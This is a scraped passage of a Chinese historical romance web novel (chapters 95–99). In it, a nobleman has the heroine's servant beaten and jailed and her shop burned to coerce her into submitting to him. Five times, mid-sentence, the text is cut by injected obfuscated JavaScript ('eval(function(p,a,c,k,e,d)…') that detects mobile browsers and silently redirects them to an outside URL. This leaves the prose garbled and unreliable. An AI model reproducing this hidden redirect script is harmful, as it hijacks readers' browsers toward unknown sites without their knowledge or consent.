沈清念想要追过去,却别眼前的两个丫鬟挡住。 “你们要将菱儿带去哪里?” 那夫人登上马车,回过头道:“自然是送她去官府,打她个五十大板。” 沈清念的心猛地一惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312957|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 五十大板!菱儿如何承受得住! 她赶紧到柜台拿了银子,往官府去。 一路上,她都觉得今日这事有些蹊跷。 事实也正如沈清念想的那样,这夫人金氏,正是那官府大人的夫人。 金氏早听说陈府今日来了京城里的贵人,想让陈老夫人帮忙求见贵人,好助她夫君在仕途上往上走一走。 故而今日一早,金氏与夫君一起去陈府拜见陈老夫人。 陈老夫人见他们拿来的香珠品相看着十分不错,才答应了下来。 谁知,陈老夫人拿着香珠去见贵人时,竟惹得贵人不悦。 将她夫君以莫须有的罪名抓了起来。 陈老夫人见谢宴之手上戴了一条香珠,想着他会喜欢。 谢宴之高兴了,她的儿子在仕途上也有个靠山不是? 这样想着,便拿了香珠去见谢宴之。 谁知,谢宴之瞧着那条香珠,眉头紧皱:“这种不入流的玩意,也值得本世子费心?” “元青,将那妄想攀附本世子的官府大人拉下去,关起来!” 陈老夫人脸色大变,有些忐忑道:“是那人愚钝,只是听闻世子手上戴着香珠,误以为世子喜欢。” 谢宴之揉了揉额头,冷冷道:“这珠子,哪有那做香珠的人好! 说着,就走了出去。 陈老夫人听这话,稍微一想,还有什么不明白的。 果真,这世子那日便瞧上了那方娘子。 她脑海里有出现了沈清念的模样,最后只能感叹一句:方娘子长得像谁不好,偏偏长得像世子心尖儿上的表妹。 见陈老夫人出来,金氏赶紧上前。 “老夫人,怎么回事?那贵人怎将我夫君关起来了?” 攀附不成,也不至于将人关起来! 她说着,哭哭唧唧起来。 陈老夫人皱着眉,转头看向金氏:“你若想救你夫君,也不是没有法子。” 她也不好说世子是瞧上了那香珠铺的小娘子。 只能委婉暗示金氏道:“说到底,惹怒世子的是那方娘子,不是你家夫君。” “这赔罪,自然也得是那方娘子来赔罪。” 金氏猛地抬头:“您的意思是……” 第九十五章 爷,清姑娘来了 见金氏已经有些明白了,陈老夫人点了点头。 一想到还有法子可救自己的夫君,金氏掏出帕子擦了擦眼泪。 “那我这就去让那方娘子过来,给贵人道歉!” 说着,就要转身出去。 夫君还在等着她,她依然是等不及了。 陈老夫人见她那火急火燎的样子,出言阻止道:“慢着!” 金氏转过身来,恭敬道:“老夫人,还有何事?” 她急着去救夫君呢! 陈老夫人问道:“你打算如何让那方娘子过来呀?” 金氏低头道:“她一商户女子,我一官夫人,让她过来她还敢不过来吗?” “若她敬酒不吃吃罚酒,直接叫人绑了她便是。” 陈老夫人听了这话,端起茶盏的手一顿,眼睛直直盯着金氏。 心中却道这金氏办事如此不过脑子,简直是蠢笨如猪。 到底是小门小户出来的女子,还想着去那方娘子面前耍什么官府夫人的威风! 这就叫借着官府大人的名头仗势欺人! 若被有心之人撞见或者听见,遭了**,她这官夫人的身份是别想要了! 甚至还可能连累自己的儿子。 陈老夫人又想到那日沈清念当众直言不讳,指出谢世子认错了人,也不肯揭开帷帽。 处处表现得落落大方,一看就是个极有风骨的姑娘。 必不愿做那任人**的玩意儿。 谢世子如此位高权重之人,想要个女子还不容易。 却要转过来暗示她,就定然是要那方娘子心甘情愿。 若放任那金氏如此粗暴对待方娘子,到时谢世子知那方娘子受了委屈,她那夫君怕是连命都别想要了。 陈老夫人喝了口茶,暗自道若不是金氏的母亲少时与她有一些交情,她才懒得理会这事儿! “你糊涂啊!”陈老夫人将茶盏往桌上重重一置。 金氏见状,心知陈老夫人生气了,低下头道:“还望老夫人指点。” 陈老夫人见她还算恭敬受教,面色稍缓:“你得让人甘心情愿过来。” 金氏闻言,面露不解。 只需她稍加威胁,那商户娘子还敢不从? 陈老夫人看金氏还是一脸高傲的样子,摇了摇头:“你不知那方娘子,是个有风骨的女子,吓唬人那一套在她身上可行不通。” “你若强行绑了来,她必定脸色不好,又惹得贵人不高兴。” 金氏一听,瞬间犯了难:“怎么才能让人心甘情愿过来呢!” 陈老夫人用手捻了捻佛珠,眯着眼睛道:“那就看你的本事了。” 待沈清念到了官府门口时,两名衙役拦住了她的去路。 “官府重地,闲杂人等一律不得入内!”其中一人说道。 沈清念忙掏出一点碎银塞过去,轻轻道:“官爷,可知刚刚是否有个小丫头被押了过来?” 那两衙役听了这话,看了对方一眼。 刚刚夫人的确押了个小丫头进去,听说是不小心冲撞了夫人。 夫人身边的丫鬟交代了,若有一女子过来寻那丫头,就将人带进来。 其中一个衙役装作看了看手中的银子,面露喜色道:“是有一个丫头刚进去了,听说要挨五十大板呢。” “官爷快带我进去!”说着,沈清念又给二人塞了一些银子。 那两人笑呵呵地将人带了进去。 沈清念还未走近,就听见板子打在身上的声音。 她循声望去,菱儿正趴在板凳上,两边各有一个衙役打着板子。 沈清念的心瞬间揪得紧紧的。 “菱儿!”她喊了一声,想快步跑到菱儿身边,却被两个丫鬟拦住。 金氏坐在一旁,喝着茶慢悠悠道:“方娘子小心了,等会儿误伤着你就不好了。” 菱儿听见沈清念的声音,艰难地转过头,眼泪跟着就往下掉。 沈清念见她脸色发白,额上冒着大颗大颗的汗珠,连这额上的发都打湿了,嘴里咬着竹筒,呜呜地发不出声音。 衙役每打一下板子,她的身子就颤抖一下。 衙役又打了几下板子后,菱儿已经没了力气般,歪着头一动不动了。 沈清念此时才看见菱儿的衣裙上已然是一片红色,不用看都知道里面已是皮开肉绽。 她心里心疼不已,瞬间红了眼眶。她冷静下来,思忖了一下。 不管菱儿是不是撞倒了那夫人,眼下也只有她才能救菱儿了。 看了一眼菱儿,沈清念走向金氏道:“夫人,这丫头已经挨了板子,能不能放了她?” 金氏还未说话,一旁看着菱儿受刑的丫鬟就开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312958|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“夫人,人晕过去了!” 金氏示意两个衙役停手,对着沈清念道:“方娘子,既然她已挨了板子,我就不再计较了。” 沈清念心下一松,以为可以带着菱儿走了,对着金氏道:“多谢夫人了。” 金氏轻嗤了一声又说道:“可我腹中的是我夫君的孩儿。她撞到了我们的孩儿,还应向我夫君赔罪的。” 沈清念闻言,心又揪在了一起。金氏这话说得轻飘飘,实则应当是有别的意思。 那很有可能就是她今日来找她麻烦的缘由。 沈清念便顺着金氏的话道:“等菱儿伤好后,我便带她上门向您夫君赔罪。” 金氏一听,拿出帕子掩嘴笑着道:“倒不用那么麻烦。” “我夫君一盼早得麟儿,二盼官运亨通。” 沈清念不解,这与她有何关系,先下也只能耐着性子听她说完。 “我腹中已有麟儿,惟愿方娘子助我夫君仕途顺利。” 沈清念听后,更是一头雾水,她如何能助人仕途顺利了? 她轻声问道:“夫人这是何意?” 金氏看了看她又道:“只要方娘子往陈府走一趟,找到贵人帮我夫君美言几句即可。” 原来这才是这夫人真正的目的。 可要去陈府找什么贵人? 整个陈府,她只与陈江源熟络一些,贵人难道指的是陈公子的父亲陈刺史? 见沈清念犹豫不决,金氏向那两个衙役颔首示意。 其中一个端了铜盆,将一盆冷水从头浇在菱儿头上。 菱儿微微睁了睁眼,气若游丝般。 眼看着衙役又要将板子落在菱儿身上,沈清念忙出声阻止:“不要!” 金氏见状,笑着看向沈清念:“方娘子想好了么?” “这小丫头的命就仰仗方娘子了。” 沈清念咬咬唇,点了点头。 既然是找陈府的贵人,那她先去陈府寻了陈江源,看能不能让他出面,让这夫人绕过菱儿。 “我现在就去,夫人可否先放了菱儿?” 金氏挑眉,有些不悦道:“方娘子快去快回,我和这丫头就在这儿等着。” 沈清念回头看了一眼菱儿,不再犹豫,朝陈府的方向去了。 陈府里,元青立在跟前道:“爷,清姑娘来了。” 第九十六章看 她还如何飞出他的手心 谢宴之嘴角微扬,冷眼看着手中的茶杯:“终究是来了。” “但是……”元青看着谢宴之还算惬意的样子,犹豫着要不要说。 谢宴之看着元青一副吞吞吐吐的样子,皱着眉:“还有何事?” 元青道:“清姑娘是到陈府来了,但她一进府门,就径直去找陈公子去了。” “是么?”谢宴之微眯着眼。 沈清念会去找陈江源,他一点也不意外。 毕竟沈清念在这云州,只认识陈江源这么个官宦人家的公子。 “或许,陈公子会帮清姑娘,眼下怎么办?” 以那小子对沈清念的心思,必会替她出头。 不过,沈清念别妄想一个陈江源就能让她飞出他为她打造的牢笼。 谢宴之指尖摩挲着茶杯,面色阴沉:“那就替她斩断陈江源这条退路。” 看她还如何飞出他的手心。 陈江源听下人来报,沈清念进府来找他,脸上顿时露出喜色,赶紧起身迎了出去。 他刚走到长廊处,就见沈清念从长廊转角处过来,袅娜婷婷,如仙子般飘逸。 唯一不妥的是,沈清念眉头紧锁,脸上呈现焦急之色。 陈江源从未见过方娘子如今急迫焦急。 他的印象里,她一直是娴适恬淡的。 “陈公子!”沈清念抬头,便见陈江源正站在此处,似在等她。 她加快了步子来到了陈江源的面前。 “方娘子,你来寻我何事?” 陈江源见她如此焦急,不再谈论其他,直接出口问道。 “你可认识云州县令?” 云州县令?吴为庸? “我识得此人。” “你问他做什么?”陈江源有些不解地问道。 沈清念道:“你与他相熟吗?” 陈江源想了想,此人逢年过节都会携着亲眷过来拜会。 “还算熟稔,出了何事,方娘为何问起他来?”陈江源问道。 “是菱儿,她不小心撞到了他夫人的肚子,现在正在衙内挨板子。” 陈江源听到沈清念大致说了下情形,皱着眉:“他夫人金氏竟如此胆大妄为,枉顾人命。” “走,我随你去一趟官府。” 他倒要看看吴为庸给不给他这个刺史之子面子。 说完,就和沈清念一起往官府去。 此时,在假山上的凉亭里,陈老夫人掀开帘子的一角,瞥了一眼那两个远去的身影。 嘴角发出一声微不可闻的叹息,她的孙儿向来乖觉听话,她当日察觉出世子的心思后,也曾委婉提点过这孙儿,不曾想他还是不开窍。 “世子,可要我将我那孙儿拦下来?” 陈老夫人回头看向谢宴之,谢宴之负手而立,欣赏着眼前的美景,眸子忽然一冷:“无妨,且让她去试吧。” 她现在怀有多大的期待,以后就会有多绝望。 他要一点点掐灭她的希望。 陈老夫人看着谢宴之这一副模样,心里感叹,若要争抢方娘子,自己那孙儿绝不是谢宴之的对手。 陈江源带着沈清念大跨步进了官府的大门。 金氏一看陈江源来了,心里暗暗骂了沈清念一句。 她没想到沈清念居然将陈江源请来了,那她定没有去见那贵人。 陈江源三两步来到菱儿身边,看到她晕死在板凳上,襦裙红了一大片,眉头蹙了蹙。 金氏见陈江源皱了眉,心里也有了一分慌乱。 陈刺史十分疼爱这个独子。 她实在不想得罪他,可眼下夫君还未放出来,除非帮贵人达成所愿。 陈江源看了一下金氏,见她面色红润,看起来没有丝毫不妥。 又特意看了一眼她的肚子,她也并未用手护着,一切都表明她并没有什么大碍。 “吴夫人,这丫头已经挨了板子,想必已经知道错了。” “可否看在我的面上,就此饶过她。”陈江源想着金氏应当不会拒绝。 这回可是他亲自将人情送到她手上。 金氏一咬牙,绞着帕子犹豫了一下,仍是不肯松口:“此事还得问过起夫君才可。” 陈江源道:“那吴大人在何处啊?我们现在就去找吴大人去。” 金氏心知不能让人知道是贵人关了她的夫君。 陈刺史都得捧着那贵人,更何况是面前这个乳臭未干的小子。 “我夫君……” “夫人!” 金氏刚想说她的夫君现在不方便,就听得那吴为庸的声音。 她往门口看去,吴为庸毫发无损地大步走了进来,紧张地扶着她的手臂,将她看了一圈。 最后,目光又落在了她的肚子上。 “我听说你受到了冲撞?可有事啊?” 吴为庸一脸关切地询问,金氏用帕子抹了抹眼睛。 刚刚她为难极了,又不能得罪贵人,又不愿得罪陈江源。 两边都得罪不起,她就要踹不过气来。 还好,自己的夫君回来了。 那她就可以做个顺水人情,放了菱儿。 既不得罪陈江源,又保了夫君平安。 金氏捏着帕子的手抚上吴为庸的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312959|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手背,轻声道:“夫君,我已经没事了。” 又低头看着自己的肚子,温柔道:“孩儿也……。” “怎么会没事!三月不到,最是容易滑胎的时候!” 金氏话还未说完,就被吴为庸打断。 她抬头看了一眼吴为庸,这才看到他脸上没有一丝喜色,反而眉头紧皱。 吴为庸此时用力握了握金氏的手,对着她眨了下眼皮。 金氏见状,心里明白了几分。 夫君的意思是还不能放过那个丫头。 更确切来说,是那贵人还不放过那方娘子! 她立刻改了口风,摸着肚子,有些委屈道:“孩儿可能有事,我的肚子现在还有些疼。” 沈清念一听,心中一紧。 方才那金氏明明想说孩子没事,却一下就变成了有事。 陈江源见状,也是眉头一皱。看来吴氏夫妇是不准备轻易绕过菱儿了。 陈江源对着吴为庸道:“吴大人,不妨我请大夫来为夫人好好看看。” 吴为庸未经思索,立即摆手:“就算大夫来,也瞧不出什么。唯有我夫人才知道腹中孩儿好不好。” 金氏又给了旁边那丫鬟一个眼色。 那丫鬟上前一步,指着菱儿道:“禀老爷,这丫头不仅撞了夫人,还妄图狡辩,实在是该罚!” “哦?”吴为庸语气一顿,又接着道:“那就再加五十大板。” 沈清念听了丫鬟的话,简直气急,可她又毫无办法。 陈江源见吴为庸连看都不看他一眼,心知事情不简单。 吴为庸从没有这样冷对过他,其中必定不简单。 “吴大人,真的不能饶过这丫头吗?”陈江源语气里带了几分冷意。 他定要回去父亲面前好好说说这个吴为庸。 吴为庸见状,心里也是暗自叫苦。 他饶过这个丫鬟,那贵人又可会放过他! 他看了眼板凳上那瘦瘦小小的人,再打下去怕真会**。 到时,还怎么逼迫这位方娘子? 他瞥了一眼沈清念,又对着陈江源道:“看在陈公子的面上,就暂且将她关进大牢吧,待我夫人肚子没事了,再放她出来。” 陈江源有些气恼:“你!” 沈清念面露担忧之色,菱儿那样子,怕是撑不了几日,这可怎么办? 陈江源见状,拂了一下袖子道:“方娘子且安心,我现在就回去找我父亲来看看他们这草菅人命的勾当!”说着,便疾步出去。 时间紧迫,陈江源接了套绳,骑马朝陈府而去…… 第九十七章 为何会变成这样 陈江源走后,沈清念还是没能拦住,吴为庸叫来两个衙役将菱儿关在了大牢里。 大牢里阴冷潮湿,沈清念隔着牢门,拉着菱儿的冰凉的手:“菱儿,我回去给你拿床被子来。” 沈清念给了牢头儿一些银钱:“衙差大哥,我现在回去为我妹妹拿床被褥,还想为她请个大夫,还请大哥行个方便。” 牢头颠了颠手中的银子,笑着道:“被褥可带,大夫不能找。” 他也只是按照上头的吩咐行事。 沈清念心里气恼,就算发作也无济于事。 天色渐黑,她没再耽搁,往铺子里赶去。 只是还未走到铺子,就见远处夜空里腾起浓浓的烟雾,原本黑压压的天色被火光照得红彤彤。 “走水了!”沈清念听见有**喊。 待她走近了一看,街上人影窜窜,纷纷拿着铜盆木桶之类的泼水灭火。 隔壁的绸缎庄的张娘子,刚泼了一盆水,转身便看到了沈清念。 她拉住沈清念:“方娘子,铺子走水了!” “怎么回事?”沈清念的脸被火光染成了金色。 “老刘头儿的茶馆突然走水,火势一下就烧到了我们这边。” 沈清念提着裙摆跑过去,自己的铺子已经陷入熊熊大火中,根本没办法熄灭了。 “啪嗒”一声,写着苏氏香珠铺的木牌子在她面前掉落在地,那边角已烧得焦黑。 “怎么会这样?”沈清念跌坐在地,这是她和菱儿的家呀! 如今菱儿被抓进了大牢,铺子也烧毁了,好似一切都没了。 沈清念买了些伤药,浑浑噩噩地往官府大牢走去。 那牢头见到沈清念,大声朝她嚷嚷:“里面那丫头一直说胡话,怕是发了高热了,你快去看看,我去准备草席。” 沈清念闻言心下一紧,朝牢门跑去,就见菱儿倒在枯草堆里,整个人缩成一团,一直喊着冷。 又见她嘴唇发紫,这一看就是高热了。 “菱儿!”沈清念急得喊了一声,试图唤醒她。 听到沈清念声音,菱儿眼皮微微抬了一下,干裂的嘴唇动了动,最终什么声音也没发出来。 她只觉身上很冷很难受,她想她大概是要**。 她看了看眼前模糊的人影,她知道那是小姐。 菱儿试着笑了一下,她还能看小姐一眼,也足够了。 “菱儿!你快醒来!”沈清念握住菱儿的手,眼泪夺眶而出。 心里自责不已,她到底要怎样才能救她! 而陈府这边,陈江源翻身下马,将手中缰绳往门房手里一塞,就快步跑到陈刺史的书房。 “父亲!” 陈刺史见他气喘的模样,直接摆手:“方娘子的事,你不要插手。” “为何?” 陈江源有些惊讶,他还未开口,父亲是如何知道他要求他帮方娘子的。 陈刺史慢慢悠悠地翻开一本册子,抬眼扫了他一眼,不再言语。 “父亲!那吴氏夫妇分明是故意刁难方娘子,那丫头也快被他们给打**!” 陈刺史见陈江源情绪激动,重重地合上了书:“我再说一遍,方娘子的事不许你插手。” 闻言,陈江源越发激动:“我偏要插手!” 陈刺史起身走到门口,留下一句:“随你!”,说完就出门去,将陈江源反锁在了书房。 陈江源反应过来,跑到门边使劲拍手:“父亲,放我出去,方娘子还在等着我!” 陈刺史站在门口,听着儿子的带着恳求的声音,冷冷道:“趁早断了对那方娘子的念想!” 陈江源又说了一句:“父亲快放我出去,迟了会出人命的!” 陈刺史并未回应,心下却思量起来。 外界都说,谢世子南下江南祭奠生母,可他又为何会突然来了云州,还对那个只见过一面的掌柜娘子势在必得。 或许,这方娘子与世子之间有什么不同寻常的关系。 与世子抢人,他陈府一百多条人命不想要了。 想到这儿,陈刺史不再理会陈江源,甩着袖子离开了书房。 沈清念眼看着菱儿还发着高热,嘴唇已经发紫。 沈清念擦了眼泪站起身来对着菱儿道:“菱儿,我一定会救你的,等着我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312960|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 眼下,只能盼着陈江源能早些将陈刺史请过来周旋。 可陈公子去了这么久还未回来,恐怕…… 想到这儿,沈清念心中已有了不好的预感。 可除了陈府,她还能去哪儿?还能去找谁? 沈清念一路跌跌撞撞跑到陈府门前,却被门房拦住。 她两个时辰前才来过,这门房是认得她的。可现在却拦在门口,一副不让她进去的样子。 沈清念急声道:“我找陈公子,烦请通报一声。” 门房冷漠地看了她一眼,不仅没去通报,还将她逼退了一步。 这时,门忽然从里被人打开,里面出来一个丫鬟,沈清念对她有些印象。 是陈江源院子里的丫鬟,她今日见到过的。 可那丫鬟一脸不满地看着沈清念说道:“方娘子,因着您的事,老爷勃然大怒,公子已被老爷禁足了。” 那丫鬟又想起了老夫人的话,又补了一句:“你快走吧!不要再来害我们公子了。” “等一下……”沈清念话还没说完,那丫鬟转身关上了大门,毫不客气地将沈清念拒之门外。 沈清念失魂落魄地转过身来,心里忍不住自责,自己没能救出菱儿,还将陈公子也连累了。 此时,空中劈下一道闪电,伴着一道惊雷,大雨倾盆而下。 沈清念浑浑噩噩地迈着步子,一不留神跌下了台阶,溅起的水花打湿了她的衣裳。 大雨大颗大颗落在她的头上,身上发着冷,心下涌起一阵悲凉,她不知道为何一夜之间就变成了这样。 沈清念捂着脸在雨中细细啜泣。 她已分不清哪是她的泪水,哪是雨水。 这时,一辆马车缓缓驶来,沈清念抬头,看到是元青披着蓑衣赶着马车。 元青看了沈清念一眼,见她正跌坐在地上,任雨水浇在身上,狼狈不堪。 或许是有些冷,元青看到她在雨中抖着身子,好不凄楚。 元青叹了口气,爷这次对清姑娘的确狠了些。 他停了下来,对着后面的帘子说了一句:“爷,清姑娘在雨里。” 第九十八章 逼她就范 半晌,马车里没有声音传来。 元青摇了摇头,心知爷还是想继续惩治清姑娘,便赶着马车继续向前。 马车经过时,风吹起帘子一角,沈清念看见谢宴之端坐在里面,玉冠束发,眼皮都未曾抬一下,仿佛没有听到元青的话一般。 元青将马车向前赶了一些后,跳下了马车,撑开一把青绢伞,又为谢宴之卷起了帘子。 谢宴之低头从马车里出来,着一身黑色金丝锦袍,腰上束着玉带,面容冷峻,不可侵犯。 瞥见那地上的身影后,他转了转手上的扳指,负手迈开步子,元青则高举着伞紧随其后。 沈清念见他一步一步地向她走过来,她侧过头去,不想让谢宴之看她这副落魄的模样。 她一直低着头,只见那双金丝靴子来到自己的面前一寸的地方,又转了个弯,朝她的身后去了。 背后陈府的大门此时突然打开,陈刺史要出门一趟,老夫人正出来送他,却不想在门口遇到了谢宴之。 “世子!您回来了。”陈刺史拱手一礼,随后余光向后看了一眼,远处地上有个女子跌坐在地,任大雨浇淋。 谢宴之目光冷冷瞥了一眼那人,笑着道:“这么大雨,陈刺史还要出门?” 谢宴之就这样站在门口与陈刺史闲聊。 一旁的陈老夫人在打开门的那一瞬,就用余光瞥了一眼沈清念,见她跌坐在雨中,浑身湿透。 脸上凄凄楚楚的,与那日所见风姿绰绰的模样全然不同,心中也无声地叹了口气。 这也是她第一次看到沈清念的脸,那张脸并没有因为雨水打湿了头发而显得狼狈。 反而为她再添一抹柔弱无依的美。 那眸子氤氲着水雾,欲语还休,别说男子,就是陈老夫人,此刻都想上前去护着她。 陈老夫人心道这世道对于无所依靠的女子,着实是艰难了一些。 她又见谢宴之的眼神时不时向后一撇,心里知道谢世子心里挂着这方娘子。 看似任她凄惨度日,实则心里有些心疼了吧。 老夫人随即撑着伞,走到沈清念面前,将伞撑了过去。 头顶的伞一下给了沈清念庇护,她听见雨水砸在伞面,发出沉闷的声响。 犹如她此时的心情,沉重发闷。 “方娘子,小心着凉了。”陈老夫人温声道。 沈清念抬头,见那一方伞替自己挡住风雨,又见陈老夫人关切的眼神,她眼眸亮了一下。 “老夫人能帮帮我么?那夫人要我找陈府的贵人。您与陈老爷不就是吗?”沈清念眼含希冀望着陈老夫人。 陈老夫人见她这模样,也动了一丝恻隐之心。 显然方娘子还不知她今日遭此劫难,全因身后那个贵人所赐。 那她就点拨她一下,她凑近了沈清念的耳边,低声说道:“方娘子,这陈府的贵人,又岂是我们陈府之人。” 说着,朝谢宴之的方向偏偏了头,眼神里的意味分明。 沈清念明白谢宴之也是陈府的贵人,但老夫人的话似乎意有所指。 她略微想了一下,瞳孔瞬间放大。 那金氏让她找的贵人就是谢宴之吗? 那菱儿被抓到牢里这件事是谢宴之指使的吗? 还有铺子起火的事,是不是也是他的手笔? 她不敢再往下想,没想到谢宴之为了逼她,竟用了如此下作的手段。 他到底是为了报复她一再的拒绝还是…… 她又想起了那日谢宴之那句:我等你用你的喜欢来恶心我! 如果是后者……想到这儿,她感到浑身发寒,回头看了一眼那个高大挺拔的身影,纵使身着华服,气势逼人。 她对他也没有一丝敬重,她此刻有的只是恨。 沈清念觉着自己似不能呼吸般,喘不过气来。 谢宴之为什么非要屡屡将她逼入绝境? 又为何要伤害她身边的人? 陈老夫人见她回头看向谢宴之,心知她也明白了。 将手上的伞递了过去:“去吧,他应当是在等你。” 陈老夫人看谢宴之一直在大门那里与自己的儿子闲聊,脸却是不是朝这边侧。 她就知道,这谢世子是在等方娘子亲自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312961|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去找他。 今日这些事,应当也是谢世子弄出来逼那方娘子就范的。 明眼人都看得出方娘子眼里的不愿和不甘。 沈清念脸上勉强挤出一个笑容,心里泛出深深的苦涩。 她就不该觉着他会轻易饶过她。 “不。”她用手推开了陈老夫人递过来的伞,转身就走。 她的心现在很乱,很绝望,很恨。 她也明白,此刻过去求谢宴之,会遭到他的羞辱,甚至还可能要她委身于他。 这些都是她不愿的,她本能地转身想要逃。 可脑海里又浮现菱儿躺在干草上那凄惨的模样。 她一步一顿,用手捂着胸口,走得极其艰难。 最后,终于体力不支,倒在了地上。 “方娘子!” “清姑娘!” 陈老夫人和元青同时出声。 陈老夫人听到元青那一句清姑娘,再看他那紧张的神态,就知他们之前是认识的。 心下不禁怀疑,难道方娘子就是谢世子之前提的那位表妹? 沈清念奔波了一天,又在夜里淋了雨,伤心伤身,她感觉自己再也撑不住了。 倒下时,她看到元青快步朝她跑了过来。 沈清念微弱地说了一声:“救……救菱儿!” 元青心里也很着急,他也知道菱儿被关起来了,可爷要清姑娘亲自求他,他才愿意出手。 沈清念只觉得自己的眼皮很沉很沉,她好像就要睡过去了。 可菱儿怎么办?菱儿还在等她。 她又强撑着看了眼元青,见他看着谢宴之的方向,嘴里道:“清姑娘,要不还是你亲自去求爷吧。”元青说完,手握成了拳。 他也想快点去将菱儿接出来。 可爷不许……他又殷切地看着沈清念。 沈清念苦笑了一下,看来没有谢宴之的允许,菱儿是救不回了。 她闭着眼睛,一滴泪顺着脸颊滑落,朝元青点了点头。 元青见状,知道清姑娘是愿意向爷服软了。 他欣喜地朝谢宴之喊:“爷,清姑娘有事想和你说。” 第九十九章 你醒了? 谢宴之听到这话,转身看了一眼那边的情形,嘴角微微上翘,眼里闪过一丝阴鸷,雀儿最终还是飞回了他的手里。 他随着陈刺史道:“陈刺史有事便去忙吧。” 那方娘子有事要与我说,我便去看看。 陈刺史拱手道:“世子请便。” 随后眯着眼看着谢宴之的背影,心里暗道自古英雄难过美人关,这世子也是一个情种。 随后,坐上小厮赶来的马车,出门办事去了。 陈老夫人见谢宴之过来了,也识趣儿地回了府。 谢宴之三两步来到沈清念面前。 见她脸色发白,似要晕过去,心里觉着有些不舒服。 但他还是端着一个冷峻的脸,看着沈清念。 “清姑娘,爷来了。”元青见谢宴之过来,出声提醒道。 沈清念再睁开了眼皮,顺着面前的靴子向上看去,见谢宴之就她面前,撑伞而立。 他的伞为她遮挡了风雨,使她能看清他的脸。 如初次见面时那样,他的眉宇间透着高傲和冷漠,漆黑的眸子直直盯着她,薄唇微抿,一言不发。 沈清念知晓,他是在等她说话,等着她开口求他,亦是在等着她亲手将自己送到他手上。 想到这儿,沈清念喉间发涩,几次试着开口,话到嘴边又咽了回去,只是垂着头,咬着唇。 见沈清念还不说话,谢宴之眉头一皱,有些不耐烦,寒冷目光看了元青一眼,转身就要走。 元青看着爷铁青的脸,知道爷是生气了。可是刚刚清姑娘明明点了头的呀。 他心急地催促道:“清姑娘,你快说呀。菱儿她还在等啊!” 沈清念闻言,一滴泪又从她的眼中滑落。 她不再犹豫,伸手扯住了那片即将消失的衣角。 谢宴之感受到衣角被人扯了一下,他步子一顿,低头看向她抓他衣角的手。 “求……求你帮我救菱儿。”沈清念的眼睛看向别处,声如蚊呐。 闻言,谢宴之够了勾唇,弯腰凑到沈清念面前,冷冷开口:“方娘子可知要本世子帮你是什么意思?” 沈清念眼里的泪如断了线的珠子,一颗颗落了下去,轻声道:“知道。” “那本世子要帮了你,是不是想做什么都可以?”耳边又传来谢宴之噩梦般的声音。 沈清念听到这话,抬头看向他。 谢宴之瞧她那眼神里带着些怨恨。知道她心里此刻定是恨透了他。 可他做这一切不还是为了她吗?她心里就那么恨他? 想到这儿,谢宴之面色一沉,冷冷一句:“看来方娘子没什么诚意啊。” 又是转身要走。 沈清念再次伸手抓住他的衣角,咬了咬唇道:“可以。请世子先救菱儿出来。” 见到沈清念终于给出了他想要的答案,谢宴之一把将人打横抱起来,又转身对元青道:“去官府一趟吧。” 元青得了谢宴之的话,立马赶着马车去了官府。 而沈清念在听到谢宴之的话后,终于不再坚持,昏了过去。 谢宴之见怀中的人儿此刻安静地躺在她额怀里,长长的睫毛上,还挂着几颗晶莹剔透的雨珠。 额上的发也紧紧贴在脸上,模样看起来可怜极了。 